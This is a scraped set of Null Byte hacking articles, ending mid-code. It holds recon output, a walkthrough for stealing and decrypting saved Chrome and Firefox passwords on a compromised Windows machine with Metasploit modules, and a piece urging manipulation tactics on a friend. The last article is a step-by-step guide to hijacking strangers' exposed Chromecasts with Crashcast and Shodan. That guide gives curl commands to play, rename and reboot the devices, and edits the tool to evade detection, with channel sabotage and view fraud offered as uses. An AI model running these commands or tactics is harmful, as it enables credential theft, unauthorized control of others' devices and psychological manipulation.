ZDaOHtGFAAABaHZCdYIAAAQDAEYwRAIgfrqIzZ8q3PFda1kZu2bhe2tS+l9yv4yW LM3EiuqprvgCIDTQlt7CqSk6DBhhjcjAMpxMlTi1TcLMFaIPihD/cxXsAHYAh3W/ 51l8+IxDmV+9827/Vo1HVjb/SrVgwbTq/16ggw8AAAFodkJ2RgAABAMARzBFAiAu A/LoVVdyb5otLUqDjeftK5Ol/rEbqlRCWkr1TEGADgIhAI80OnV/+diQducBV3Fn cP/tPGmugDgDwwHquTAupzu/MA0GCSqGSIb3DQEBCwUAA4IBAQCuScje9IpWeukH ikTULK6K/hWyDASwWc5rYDlns7oqutJV9Qf9LKNjtLs411tXfiHTK78yzDzd4YcN j9FhLtIO0iW7xGTCn69JXWS9i9fNaUuPnZIddj6wyAOZV2lc3x2wf4P5WHglf4Qf KKNUbSuVwn7NVTpOBEno65cHHap/ZDabcLUwZvfT0S6y4oWOJCST/bK1n0rxd5zx LMc++uDObJn2588clgamF85L7FIyk8/nmEX5TrtNYvQwTpEo4hYV8H55qnuU1nJ1 zcmBDWrf0sMmcvpOWk1Sr66cJf1AXEtqLikOYyBij9FRadeHL7mSWW59/Wg2uNHi RhUloSDx -----END CERTIFICATE----- -------------------------------------------------- -------------------------------------------------- -------------------------------------------------- -------------------------------------------------- -------------------------------------------------- -------------------------------------------------- -------------------------------------------------- -------------------------------------------------- -------------------------------------------------- Found: 1 Subdomain - equifaxsecurity2017.com -------------------------------------------------- pdns105.ultradns.org. 156.154.67.105pdns105.ultradns.orgAS12008 NeuStar, Inc.United States pdns105.ultradns.com. 156.154.64.105pdns105.ultradns.comAS12008 NeuStar, Inc.United States a2.verisigndns.com. 209.112.114.33a22.verisigndns.comAS36616 VeriSign Global Registry ServicesUnited States a3.verisigndns.com. 69.36.145.33pdns2.cscdns.netAS36617 VeriSign Global Registry ServicesUnited States pdns105.ultradns.net. 156.154.65.105pdns105.ultradns.netAS12008 NeuStar, Inc.United States a1.verisigndns.com. 209.112.113.33a11.verisigndns.comAS36616 VeriSign Global Registry ServicesUnited States pdns105.ultradns.biz. 156.154.66.105ns3.eurodns.comAS12008 NeuStar, Inc.United States -------------------------------------------------- -------------------------------------------------- equifaxsecurity2017.com 107.162.143.246AS55002 Defense.Net, IncUnited States --------------------------------------------------Here, we can see we've found other services and information about the certificate. We've also learned more about the content hosted on the site. All of which could be useful for a hacker looking for a way to attack.Recon Is an Essential Hacking Skills That's Easier with PythonAs we saw today, Python tools make it easy to conduct recon from nearly any operating system. Both ReconT and FinalRecon can identify key details about a target that allows a hacker to determine the easiest way to attack any system. After gathering details about the services running on a target, exploring withmore active recon measures like Niktocan further enumerate already promising results.I hope you enjoyed this guide to conducting recon with cross-platform Python tools! If you have any questions about this tutorial on recon, leave a comment below, and feel free to reach me on [email protected]'t Miss:Use Maltego to Fingerprint an Entire Network Using Only a Domain NameFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Kody/Null ByteRelatedHow To:Identify Web Application Firewalls with Wafw00f & NmapHow To:Probe Websites for Vulnerabilities More Easily with the TIDoS FrameworkRecon:How to Research a Person or Organization Using the Operative FrameworkHack Like a Pro:Reconnaissance with Recon-Ng, Part 1 (Getting Started)Hack Like a Pro:How to Use Maltego to Do Network ReconnaissanceMac for Hackers:How to Organize Your Tools by Pentest StagesHack Like a Pro:How to Hack Web Apps, Part 2 (Website Spidering with WebScarab)How To:Use WebTech to Discover What Technologies a Website UsesHack Like a Pro:Metasploit for the Aspiring Hacker, Part 13 (Web Delivery for Windows)Hack Like a Pro:How to Hack Like the NSA (Using Quantum Insert)Hack Like a Pro:How to Conduct OS Fingerprinting with Xprobe2News:How to Study for the White Hat Hacker Associate Certification (CWA)How To:Conduct OSINT Recon on a Target Domain with Raccoon ScannerVideo:How to Use Maltego to Research & Mine Data Like an AnalystHack Like a Pro:How to Conduct Passive Reconnaissance of a Potential TargetHow To:Play the Recon sniper character class in Battlefield Bad Company 2: VietnamHow To:Create a MySQL Server BruteForce Tool with PythonHow To:Find Identifying Information from a Phone Number Using OSINT ToolsHack Like a Pro:How to Use PowerSploit, Part 1 (Evading Antivirus Software)How To:Use Photon Scanner to Scrape Web OSINT DataHow To:Uncover Hidden Subdomains to Reveal Internal Services with CT-ExposerHow To:Use UFONetHow To:Find OSINT Data on License Plate Numbers with SkiptracerHack Like a Pro:Metasploit for the Aspiring Hacker, Part 12 (Web Delivery for Linux or Mac)How To:Hunt Down Social Media Accounts by Usernames with SherlockNews:Target Focuses on Mobile Web Rather Than App for AR Shopping ToolHow To:Seize Control of a Router with RouterSploitHow To:Use the Buscador OSINT VM for Conducting Online InvestigationsGoodnight Byte:Coding a Web-Based Password Cracker in PythonHow To:Bypassing School Security (White-Hat)Community Byte:Coding a Web-Based Password Cracker in PythonNews:Learning Python 3.x as I go (Last Updated 6/72012)News:Police Admit To Drugging Occupy Wall Street Protesters; Suspend ProgramNews:Learn to Code in Python, Part One: Variables, Input and Output
Hacking Windows 10: How to Steal & Decrypt Passwords Stored in Chrome & Firefox Remotely « Null Byte :: WonderHowTo
Passwords stored in web browsers like Google Chrome and Mozilla Firefox are a gold mine for hackers. An attacker with backdoor access to a compromised computer can easily dump and decrypt data stored in web browsers. So, you'll want to think twice before hitting "Save" next time you enter a new password.Witha backdoor established on a target computer, hackers can perform a variety of covert attacks. It's possible tocapture every keystroke typedon the computer,capture screenshots, and listen to audio through the microphone. In this article, we'll focus on how hackers can acquire your passwords stored in web browsers.Don't Miss:How to Break into Somebody's Windows 10 Computer Without a PasswordAfter a hacker hasset up their payloadandexploited the systemof their choosing, in our case, aWindows 10system, they can begin their post-exploitation attacks to hunt down passwords in Google Chrome and Mozilla Firefox, which are often regarded as being thebest and most popularweb browsers available. Microsoft Edge only accounts for about 4% of browsers out there, so it's not worth the trouble.Dumping Google Chrome PasswordsChrome utilizes a Windows function calledCryptProtectDatato encrypt passwords stored on computers with a randomly generated key. Only a user with the same login credential as the user who encrypted the data can later decrypt the passwords. Every password is encrypted with a different random key and stored in a small database on the computer. The database can be found in the below directory.Don't Miss:Cryptography Basics for the Aspiring Hacker%LocalAppData%\Google\Chrome\User Data\Default\Login DataNext, we'll use aMetasploitmodule that's designed to dump passwords stored in the Chrome browser. To dump stored Chrome passwords on the target device, use theenum_chromemodule as shown in the below command. This module will collect user data from Google Chrome and attempt to decrypt sensitive information.run post/windows/gather/enum_chromeThe decrypted Chrome browser passwords will be automatically saved to the /root/.msf4/loot/ directory. The newly created .txt file containing the passwords will also be automatically named using the current date and the target user's IP address.Don't Miss:Getting Started with MetasploitTo view the Chrome passwords in the .txt file, first, use thebackgroundcommand to suppress themeterpretershell, then use thecatcommand as shown in the below screenshot. Make sure to swap out the file name with the correct one. The "Decrypted Data" column will display decrypted passwords found in the browser.backgroundcat /root/.msf4/loot/2018..._default_..._chrome.decrypted_xxxxx.txtDon't Miss:How to Hack Web Browsers with BeEFDumping Mozilla Firefox PasswordsThe Firefox built-in password manager stores the encrypted credentials in a file called "logins.json." The usernames and passwords stored in the logins.json file are encrypted with a key that is stored in the "key4.db" file. Both the logins.json and key4.db files can be located in the below Windows directory. The 8-characterrandomStringis assigned to the directory automatically by Firefox when it's first opened on the computer, and the random strings differ for every installation.%LocalAppData%\Mozilla\Firefox\Profiles\randomString.Default\logins.jsonTo dump stored Firefox passwords on a compromised computer, use thefirefox_credsmodule.run post/multi/gather/firefox_credsUse thebackgroundcommand to temporarily move the meterpreter session to the background, and thecdcommand to change into the loot directory. Then, make a new directory called "Profiles" using themkdircommand.Looking back at the dumped data, you will probably notice all of the files were automatically saved as a ".bin" filetype. These files need to be manually moved and renamed to match their original names highlighted on the left side of the screenshot. For example, the "cert_501854.bin" file needed to be moved to the Profiles directory and renamed to "cert9.db." The belowmvcommand can be used to rename files.Don't Miss:How to Crack Passwords Like a Promvcertfilehere.binProfiles/cert9.dbThis will need to happen with the remaining files in the loot directory.With all that taken care of, clone thefirefox_decryptGitHub repository which can be used to decrypt the passwords stored on the logins.json file. Use the below command to clone firefox_decrypt.git clone https://github.com/Unode/firefox_decrypt.gitThe below command can be used to decrypt Firefox passwords stored in the logins.json file. The script will request a "Master Password," but this can be bypassed by leaving the field empty and pressingenter.python firefox_decrypt/firefox_decrypt.py /root/.msf4/loot/How to Protect Against Password DumpingStoring sensitive data in a browser password manager is generally a terrible idea. Unfortunately, there isn't much to be done in terms ofpreventingsuch password dumping attacks aside from just making sure you don't ever save any login credentials in your browser and delete the ones that are already there.You could use a password manager like LastPass, but if a hacker has exploited your system with a backdoor, they could also use akeyloggerto get your master password that holds the key to everything. Even if you don't store your passwords anywhere on your computer, a keylogger will certainly catch them when you type them in manually to each site you visit.Simply refraining from storing so much data in one insecure location may help prevent the scale of damage inflicted by an attacker, but there's no way to really keep your passwords safe unless you aim toprevent a hacker from even installing a backdooron your computer.Don't Miss:How to Reveal Saved Browser Passwords with JavaScript InjectionsFollow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image by Justin Meyers/Null Byte; Screenshots by tokyoneon/Null ByteRelatedHow To:Hack Your Roommate! How to Find Stored Site Passwords in Chrome and FirefoxHacking macOS:How to Dump Passwords Stored in Firefox Browsers RemotelyHack Like a Pro:How to Hack Facebook (Facebook Password Extractor)How To:This LastPass Phishing Hack Can Steal All Your Passwords—Here's How to Prevent ItHow To:Manage Stored Passwords So You Don't Get HackedHacking Windows 10:How to Use SSH Tunnels to Forward Requests & Hack Remote RoutersNews:8 Tips for Creating Strong, Unbreakable PasswordsHow To:Steal Usernames & Passwords Stored in Firefox on Windows 10 Using a USB Rubber DuckyHacking Windows 10:How to Find Sensitive & 'Deleted' Files RemotelyHow To:Install the Region-Locked Firefox Browser on Your iPhoneHow To:Have Your Friends Ever Used Pandora on Your Computer? Well, You Can Steal Their PasswordsHow To:Apps & Extensions You Should Be Using Right Now in ChromeHow To:Get Split-Screen Browser Windows in Chrome, Safari, Firefox, and Internet ExplorerHow To:Disable Annoying Autoplay Media in Chrome, Firefox, Safari, and Internet ExplorerHow To:Dump a MacOS User's Chrome Passwords with EvilOSXNews:Flawed Laptop Fingerprint Readers Make Your Windows Password Vulnerable to HackersHow To:Firefox 16 Is Vulnerable to Hackers—Here's How to Downgrade to the Safer Firefox 15 VersionHow To:Access & Control Your Computer Remotely Using Your iPhoneHow To:Enable Tab Webpage Previews in Every Web BrowserHow To:Chrome's Download Bar Is Useless—This Extension Is the Fix You NeedHow To:Reveal Saved Website Passwords in Chrome and Firefox with This Simple Browser HackAndroid for Hackers:How to Backdoor Windows 10 & Livestream the Desktop (Without RDP)News:'Impossible to Identify' Website Phishing Attack Leaves Chrome & Firefox Users Vulnerable (But You Can Prevent It)How To:Comparing the 5 Best Internet Browsers for AndroidHow To:The 7 Most Useful Keyboard Shortcuts for Chrome, Firefox, IE, & SafariHow To:Hide All Your Browser Tabs with One Click in Chrome, Safari, Opera, and FirefoxHow To:Carve Saved Passwords Using CainHow To:Install "Incompatible" Firefox Add-Ons After Upgrading to the New FirefoxPrivate Browsing:A How-To for Firefox, Chrome & Internet ExplorerNews:Remote Chrome Password StealerHow To:Prevent Social Networks from Tracking Your Internet ActivitiesHow To:Chrome Shares Your Activity with Google - Here's How to Use Comodo Dragon to Block ItHow To:Search for Google+ Posts & Profiles with GoogleHow To:Encrypt Your Sensitive Files Using TrueCryptHow To:Hide the Facebook News Ticker in Firefox and Google ChromeHow To:Remove a Windows Password with a Linux Live CDNews:Google+ Pro Tips Weekly Round Up: Resources for NewbiesHow To:Bypass Windows and Linux PasswordsHow To:Defend from Keyloggers in Firefox with Keystroke EncryptionSecure Your Computer, Part 3:Encrypt Your HDD/SSD to Prevent Data Theft
Advanced Social Engineering: The Mind Hacks Behind Brainwashing « Null Byte :: WonderHowTo
Brainwashing is something that happens to us every day, whether you believe it or not. It doesn't take fancy toolsorspace-age technology. Even if our country didn't intentionally brainwash people (believe me, they do), our country's media is brainwashing people nonstop. Just sit back and think about it for a second—about the way things work in the world and media. But before you do that, let's learn what brainwashing really is.Brainwashing is when an outside influence, usually a person or group of people, systematically manipulateanotherperson or group of people to conform to the thoughts and ideas of the "brainwasher(s)". This is accomplished by manipulating the human mind through methods it uses normally for learning and information reception. The whole process is done over an extended length of time... it's very gradual. Essentially, you're being molded at the neurological level to receive your manipulator's input, and to believe it's your own thought (sound familiar?).Stop them from thinking—essentially reprogramming that organic CPU in your head—is the ultimate goal of brainwashers.PrerequisitesConfident demeanorModerate degree of intelligenceFriend to try the tactics onTechniques Behind BrainwashingThink of all of the examples you see in the media every day. Advertising companies are one of thebiggestinfringers, right along with major news networks like Fox. When you are being force-fed opinions and ideas from the news, like which groups of people you should label as "evil" or which shampoo works the best, you are being brainwashed. Just think about it. Did you do the research that came to those conclusions? Did you try that advertised shampoo? Probably not... but you likely already agree with those opinions, don't you.Brainwashing at its finest.There are actually very few basic outlines to successfully brainwashing people. The funny part is, you'll recognize a lot of these tactics being used on you in your everyday life.Encouraging laziness- This promotes a passive lifestyle in which the person is a couch-locked bimbo, allowing easier manipulation.Manipulating choices- Leaving people with choices, but making sure that those choices give the same result no matter what, is a good way to get into someones head. For example, instead of asking someone "Would you like some dinner?", say "Would you like pizzas or eggs for dinner?" instead. When you do this over and over, it gives the person the illusion of choice and freedom, which brings us to the next tactic.Repetition- Repetition is key. The more you hear something, the more subliminal it becomes. If you were told day in and day out that your spouse was cheating, you would probably start to suspect something. So the same goes for other things, as well. If you are told your shoes smell daily, yet you don't believe it, eventually you will because you are inconveniencing another human, which is something humans don't like to do.Play emotions- Emotions allow easy manipulation, especially when the emotions are associated with fear and sadness. Making a person feel bad when they don't comply with wishes, or making someone scared to not do the "right" thing can coerce them into doing what is desired by the mind-hacker.Remove self-awareness and responsibility- Make people think their instinct is always wrong, and eventually they will believe it. Make them believe that they are powerless without the help of others, but stronger than anyone with it. Independence inspires intelligence and will, which inspires revolt.Children in advertising- Utilizing children to give flash vibes of innocence is common. If you show a funny commercial of a group of children pushing down an old lady for fruit rolls, it would go unquestioned because of the children and atmospheric music telling you that it's okay.Intense intelligence-dampening- When people are fed information, keep the information in small snippets about many subjects. Like a television. This actually induces ADD by promoting short-term learning, which will train your brain to have a short memory. Try to not even use rationale in your teachings to skew things even more, like the infamous "war is peace" idea. A stupid populace is a brainwashed one.Keep them scared- Making people think the world could explode under them at any moment is a great way to control someone. If you offer someone your wing, they will feel safe, making a manipulator's ideas seem like the correct ones.Scary, isn't it? We're all under control...If you'd like to learn more about brainwashing, I cannot recommend"Brain-Washing" by the Church of Scientologyenough. Most, if not all of the content in this book was written by the late L. Ron Hubbard (according to his son), one of the ultimate masters of brainwashing.Be a Part of Null Byte!Post to theforumChat onIRCFollow onTwitterCircle onGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicensePhoto bychamberofwizdomRelatedHack Like a Pro:How to Spear Phish with the Social Engineering Toolkit (SET) in BackTrackHack Like a Pro:The Ultimate Social Engineering HackSocial Engineering:How to Use Persuasion to Compromise a Human TargetHow To:Learn the Secrets of PsychologyNews:How to Study for the White Hat Hacker Associate Certification (CWA)How To:Use Social Engineering to Hack ComputersWeekend Homework:How to Become a Null Byte Contributor (2/17/2012)Listen In:Live Social Engineering Phone Calls with Professional Social Engineers (Week 2)Listen In:Live Social Engineering Phone Calls with Professional Social EngineersListen In:Live Social Engineering Phone Calls with Professional Social Engineers (Final Session)Social Engineering, Part 1:Scoring a Free Cell PhoneHow To:Score Free Game Product Keys with Social EngineeringNews:Live Social EngineeringHow To:Proof of Social Engineering Success!How To:recognize Crowd Control - Part 1Weekend Homework:How to Become a Null Byte Contributor (2/3/2012)How To:Social Engineer Your Way Into an Amusement Park for FreeSocial Engineering, Part 2:Hacking a Friend's Facebook PasswordWeekend Homework:How to Become a Null Byte Contributor (2/10/2012)News:Will Kidult Wage a Graffiti Civil War?News:Google social web engineer Joseph Smarr talks about lessons from Google+News:Social Hacking and Protecting Yourself from Prying EyesHow To:Advanced Social Engineering, Part 1: Exact Revenge on Craigslist Scammers with Tabnab PhishingNews:Top 13 Google Insiders to Follow on Google+Social Engineering:The BasicsDrive-By Hacking:How to Root a Windows Box by Walking Past ItXbox LIVE Achievement:How to Earn Free Microsoft Points with Social EngineeringHow To:Advanced Social Engineering, Part 2: Hack Google Accounts with a Google Translator ExploitNews:Breaking Redstone Limits
How to Hack Together a YouTube Playing Botnet Using Chromecasts « Null Byte :: WonderHowTo
Imagine being able to play a video instantly on hundreds of thousands of devices across the globe. It's totally possible, as long as all of those devices have aChromecastplugged in. When Chromecasts are left exposed to the internet, hackers can use add them to a botnet that can play YouTube videos at will. The "attack" is made even easier thanks to a simple Python program called CrashCast.In general, the Internet of Things market faces the conundrum between convenience and security. Often times, IoT companies fall on the side of convenience because the customer needs to like the product enough to buy it before they need to worry about its security — if they even care at all. That's exactly why Google compromised security for convenience with the Chromecast.With a Google Chromecast plugged into a TV or display, any device on the same network can easily broadcast (or "cast") videos and other forms of media to that TV or display. To enable that, it has a simple unauthenticated API (application programming interface) which is generally fine, assuming there aren't any malicious actors on the local network. However, the major problem comes about when these devices unwittingly get exposed to the internet.When so many devices are left exposed, hackers likeTheHackerGiraffeandj3ws3rinevitably come along and take advantage. You may know them as to perpetrators of thePewDiePie propaganda videosin early-2019. But how did they actually perform the hack?Image by GossiTheDog/TwitterIt's incredibly simple since Chromecast devices have their ports forwarded to the internet, which means hackers can use and abuse themjust as they would if they were on their local networks. And that's where the whole Chromecast convenience thing comes back to bite Google in the rear.Don't Miss:How to Hijack Chromecasts with CATT to Display Images, Messages, Videos, Sites & MoreWith "Cast All the Things," hackers can take advantage of one Chromecast, but how does one scale it to thousands like in the PewDiePie hack? UseShodan, which continuously scans the internet for IP addresses, available ports, and other distinguishing information. Then, it's just a matter of telling Shodan to find Chomecast devices, and it will give all the devices it finds.Test Gear on Amazon:Google Chromecast (3rd Generation)To make things easier, GitHub user649created a Python program calledChrashcast. It uses the Shodan API to scan for the devices, then automatically sends the proper post request to each IP address. Additionally, it offers a couple of actions other than just playing a video, such as closing the YouTube app, renaming the device, rebooting it, and killing the home screen. While we don't recommend you actually do this, let's see how a hacker (in our scenario, that'd be you and me) would accomplish the hack.Step 1: Get a Shodan API KeyThe first thing needed to get started is a Shodan API key because, unlike Google, it requires authentication for its API. If you're not already familiar with how powerful Shodan is, check out our guide onusing the API to scan for vulnerable devices.Don't Miss:How to Use the Shodan API to Scan for Vulnerable DevicesBegin by navigating to theShodan registration pageand create an account. While Shodan is entirely free for our purposes, if you have access to a.edu or .ac.uk email address, be sure to use it when registeringfor some additional perks. Either way, don't forget to check your email and confirm registration.Once you have an account created, navigate to youraccount pageand copy the long string of letters and number labeled "API key." We'll need this later when we run Crashcast. Don't ever share this key with anyone — treat it like you would a password because that's precisely what it is, a password for the Shodan API. If at any time you do think it was compromised, you can click on the "Reset API Key" button to generate a new one.Step 2: Know Why This Attack Is UsefulWhen choosing a clip, you can select any YouTube video, and every Chromecast device that plays that video will count as a unique view. This opens up some exciting use-cases for Crashcast. Your first thought might be that you could use this to arbitrary give any video an easy 200,000 views. That could be worth a lot of money considering 5,000 views can cost you anywhere from $19 to $40. However, there are some problems with using it that way since it's against the YouTube terms of service to use or buy fake views.Image viaBuyViewsReviewsIt's unclear whether or not YouTube logs the data that would be required to detect that all of those views are from Chromecast devices, but YouTube can detect they aren't humans which they do by looking at engagement. For example, we know that YouTube tracks metrics such as view count, time watched, likes, dislikes, and comments. When these Chromecast devices play a video, they will watch it entirely from beginning to end and do absolutely nothing else. As you can imagine, it would look quite suspicious when a video has 200,000 views and zero comments, zero likes, and zero dislikes.Incidentally, this opens up another attack vector where a hacker might use compromised Chromecast devices to provide an immediate boost to a particular YouTube channel, then report that channel and get it banned or demonetized for the use of view-bots and fake views. Smaller YouTube channels with under 100,000 subscribers would be particularly vulnerable to such an attack because the number of vulnerable Chromecast devices is significantly higher than the legitimate viewer count that their channel would be.Test Gear on Amazon:Google Chromecast UltraWhether using it to play propaganda videos, pump views into a video, or destroy a YouTube channel, the YouTube video ID is needed to send to the Chromecast devices. We suggest only doing this on devices you own or that have agreed to be a part of your experiment and only for an educational experience. However, that will prove difficult since Shodan will grab ones at random. To be extra safe, just follow along to see how a hacker would perform the hack.Step 3: Get the YouTube Video IDOpen up the video in your favorite web browser, such as Chrome or Firefox. Now, you can copy everything after "youtube.com/watch?v=" from the URL bar, or you can click on the "Share" button underneath the video player.If you used the "Share" button, copy everything after "youtu.be/" to get the video ID. This way is the best way to make sure you get a clean video ID. It's worth noting that you can click the checkbox beside "Start at" and designate a particular time within the video to begin playing from.If you can't decide on a video to use, there's a little Easter egg in Chashcast. Look at the Chrashcast code online 97 and 98. If a video ID is not provided, it will playoHg5SJYRHA0by default, which, as you probably just guessed, is a RickRoll video.if (option == 1): video = input("[▸] Enter YouTube video ID to mass-play (the string after v=): ") or "oHg5SJYRHA0"Step 4: Install DependenciesNow that we have our Shodan API and video ID, the only thing left is to make sure we have a few dependencies and install Crashcast. The first thing you'll want to install is Python 3, the language Crashcast is written in, as well as pip, a tool to download libraries for Python. Open the command line and usesudo apt-get installto get them. You may have to typeyandEnterto confirm the downloads.~$ sudo apt-get install python3 ~$ sudo apt-get install python3-pipOnce pip is installed, use pip3 to install the Shodan library.~$ pip3 install shodan Collecting shodan Downloading https://files.pythonhosted.org/packages/12/a6/d56c10c6e12bb0438c2f9f100989b262a7a9845a722770e245361f4d837e/shodan-1.13.0.tar.gz (46kB) 100% |████████████████████████████████| 51kB 639kB/s Requirement already satisfied: XlsxWriter in /usr/lib/python3/dist-packages (from shodan) (1.1.2) Requirement already satisfied: click in /usr/lib/python3/dist-packages (from shodan) (7.0) Collecting click-plugins (from shodan) Downloading https://files.pythonhosted.org/packages/e9/da/824b92d9942f4e472702488857914bdd50f73021efea15b4cad9aca8ecef/click_plugins-1.1.1-py2.py3-none-any.whl Requirement already satisfied: colorama in /usr/lib/python3/dist-packages (from shodan) (0.3.7) Requirement already satisfied: requests>=2.2.1 in /usr/lib/python3/dist-packages (from shodan) (2.21.0) Building wheels for collected packages: shodan Running setup.py bdist_wheel for shodan ... done Stored in directory: /root/.cache/pip/wheels/9f/a4/b7/ba936c98b7222efdfffa84a3534e6f67c88783ce25785d0582 Successfully built shodan Installing collected packages: click-plugins, shodan Successfully installed click-plugins-1.1.1 shodan-1.13.0Curl is used to issue commands to the Chromecast devices, so download that next if you don't already have it. Typeyto continue when prompted.~$ sudo apt-get install curl Reading package lists... Done Building dependency tree Reading state information... Done The following packages were automatically installed and are no longer required: glusterfs-common guile-2.0-libs libacl1-dev libattr1-dev libbind9-160 libboost-atomic1.62.0 libboost-chrono1.62.0 libboost-date-time1.62.0 libboost-filesystem1.62.0 libboost-iostreams1.62.0 libboost-program-options1.62.0 libboost-program-options1.67.0 libboost-random1.62.0 libboost-serialization1.62.0 libboost-serialization1.67.0 libboost-system1.62.0 libboost-test1.62.0 libboost-test1.67.0 libboost-thread1.62.0 libboost-timer1.62.0 libboost-timer1.67.0 libcephfs1 libcgal13 libcharls1 libdee-1.0-4 libdns1102 libenca0 libexempi3 libfcgi-bin libfcgi0ldbl libgeos-3.7.0 libgfchangelog0 libgfdb0 libglusterfs-dev libgmime-3.0-0 libgtk2-perl libhunspell-1.6-0 libirs160 libisc169 libisccc160 libisccfg160 libjemalloc1 liblouis16 liblvm2app2.2 liblvm2cmd2.02 liblwgeom-2.5-0 liblwgeom-dev liblwres160 libmozjs-52-0 libnfs11 libntfs-3g88 libomp5 libopencv-core3.2 libopencv-imgproc3.2 libpango-perl libperl5.26 libpoppler74 libprotobuf-lite10 libprotobuf10 libpyside1.2 libpython3.6 libpython3.6-minimal libpython3.6-stdlib libqca2 libqca2-plugins libqgis-analysis2.18.28 libqgis-core2.18.24 libqgis-core2.18.28 libqgis-customwidgets libqgis-gui2.18.24 libqgis-gui2.18.28 libqgis-networkanalysis2.18.24 libqgis-networkanalysis2.18.28 libqgis-server2.18.28 libqgispython2.18.24 libqgispython2.18.28 libqtwebkit4 libqwt6abi1 libradare2-2.9 librdmacm1 libre2-4 libsane-extras libsane-extras-common libsfcgal1 libshiboken1.2v5 libspatialindex4v5 libspatialindex5 libtbb2 libunbound2 libxapian30 libzeitgeist-2.0-0 openjdk-10-jdk openjdk-10-jdk-headless openjdk-10-jre php7.2-mysql python-anyjson python-backports.ssl-match-hostname python-capstone python-couchdbkit python-cycler python-http-parser python-jwt python-kiwisolver python-libemu python-matplotlib python-matplotlib2-data python-nassl python-owslib python-pam python-pyproj python-pyside.qtcore python-pyside.qtgui python-pyside.qtnetwork python-pyside.qtwebkit python-pyspatialite python-qgis python-qgis-common python-qt4-sql python-restkit python-shapely python-socketpool python-subprocess32 python3-jwt python3-prettytable python3.6 python3.6-minimal qt4-designer ruby-dm-serializer ruby-faraday ruby-geoip ruby-libv8 ruby-ref ruby-therubyracer x11proto-dri2-dev x11proto-gl-dev zeitgeist-core Use 'sudo apt autoremove' to remove them. The following additional packages will be installed: libcurl4 The following packages will be upgraded: curl libcurl4 2 upgraded, 0 newly installed, 0 to remove and 539 not upgraded. Need to get 0 B/595 kB of archives. After this operation, 0 B of additional disk space will be used. Do you want to continue? [Y/n] y Reading changelogs... Done (Reading database ... 421783 files and directories currently installed.) Preparing to unpack .../curl_7.64.0-3_amd64.deb ... Unpacking curl (7.64.0-3) over (7.64.0-1) ... Preparing to unpack .../libcurl4_7.64.0-3_amd64.deb ... Unpacking libcurl4:amd64 (7.64.0-3) over (7.64.0-1) ... Setting up libcurl4:amd64 (7.64.0-3) ... Setting up curl (7.64.0-3) ... Processing triggers for man-db (2.8.5-2) ... Processing triggers for libc-bin (2.28-8) ...Lastly, clone the Chrashcast Github repository.~$ git clone https://github.com/649/Crashcast-Exploit.git Cloning into 'Crashcast-Exploit'... remote: Enumerating objects: 38, done. remote: Counting objects: 100% (38/38), done. remote: Compressing objects: 100% (29/29), done. remote: Total 38 (delta 17), reused 29 (delta 8), pack-reused 0 Unpacking objects: 100% (38/38), done.Step 5: Modify Crashcast to Be Less Detectable (Optional)At this point, we're ready to run Crashcast. However, there is one annoying thing about the code — there's no delay between sending commands to each Chromecast which will result in near-simultaneous actions across all devices found on Shodan.For example, if you were to play a video, Chomecast devices all over the world would all play it within a couple of minutes of each other. While that's perfect if you want to have them all reboot or when a hacker wants to bring down a particular YouTube channel, it might be less desirable if you're trying to give your own YouTube videos a couple of extra views. Thankfully, it's not that hard to add a small delay in the program when it's looping over the list of IP addresses.Begin by moving to the "Crashcast-Exploit" folder, then open the program with Nano or another text editor.~$ cd Crashcast-Exploit ~/Crashcast=Exploit$ sudo nano -c Crashcast.pyFrom there, we need to add a few lines of code. The first is toimportrandom, which we'll use to generate a random number of seconds to wait.from random import randintAdd it with the other import statements near the top so they look like this:#-- coding: utf8 -- #!/usr/bin/env python3 import sys, os, time, shodan from random import randint from pathlib import Path from contextlib import contextmanager, redirect_stdout starttime = time.time()Next, scroll two-thirds of the way down the page using the arrow keys, and look for lines 136–137. Add a sleep timer between them.time.sleep(randint(1337, 5000) / 1000.0)It should look like it does below. The indent is very important in Python, so make sure it lines up with the if statement.... if engage.startswith('y'): if saveme.startswith('y'): for i in ip_array: time.sleep(randint(1337, 5000) / 1000.0) if (option == 1): print('[+] Sending play video command to Chromecast (%s)' % (i)) with suppress_stdout(): os.popen('curl -H "Content-Type: application/json" http://%s:8008/apps/YouTube -X POST -d "v=%s"' % (i, video)) elif (option == 2): print('[+] Sending terminate YouTube command to Chromecast (%s)' % (i)) with suppress_stdout(): os.popen('curl -H "Content-Type: application/json" http://%s:8008/apps/YouTube -X DELETE' % (i)) elif (option == 3): print('[+] Sending rename device command to Chromecast (%s)' % (i)) with suppress_stdout(): os.popen('curl -Lv -H "Content-Type: application/json" --data-raw \'{"name":"%s"}\' http://%s:8008/setup/set_eu$ elif (option == 4): print('[+] Sending terminate Chromecast command to Chromecast (%s)' % (i)) with suppress_stdout(): os.popen('curl -X DELETE http://%s:8008/ChromeCast' % (i)) elif (option == 5): print('[+] Sending reboot device command to Chromecast (%s)' % (i)) with suppress_stdout(): os.popen('curl -H "Content-Type: application/json" http://%s:8008/setup/reboot -d \'{"params":"now"}\' -X POST'$Next, do the same thing with lines and 159–160.time.sleep(randint(1337, 5000) / 1000.0)Which would look like:... else for result in results['matches']: 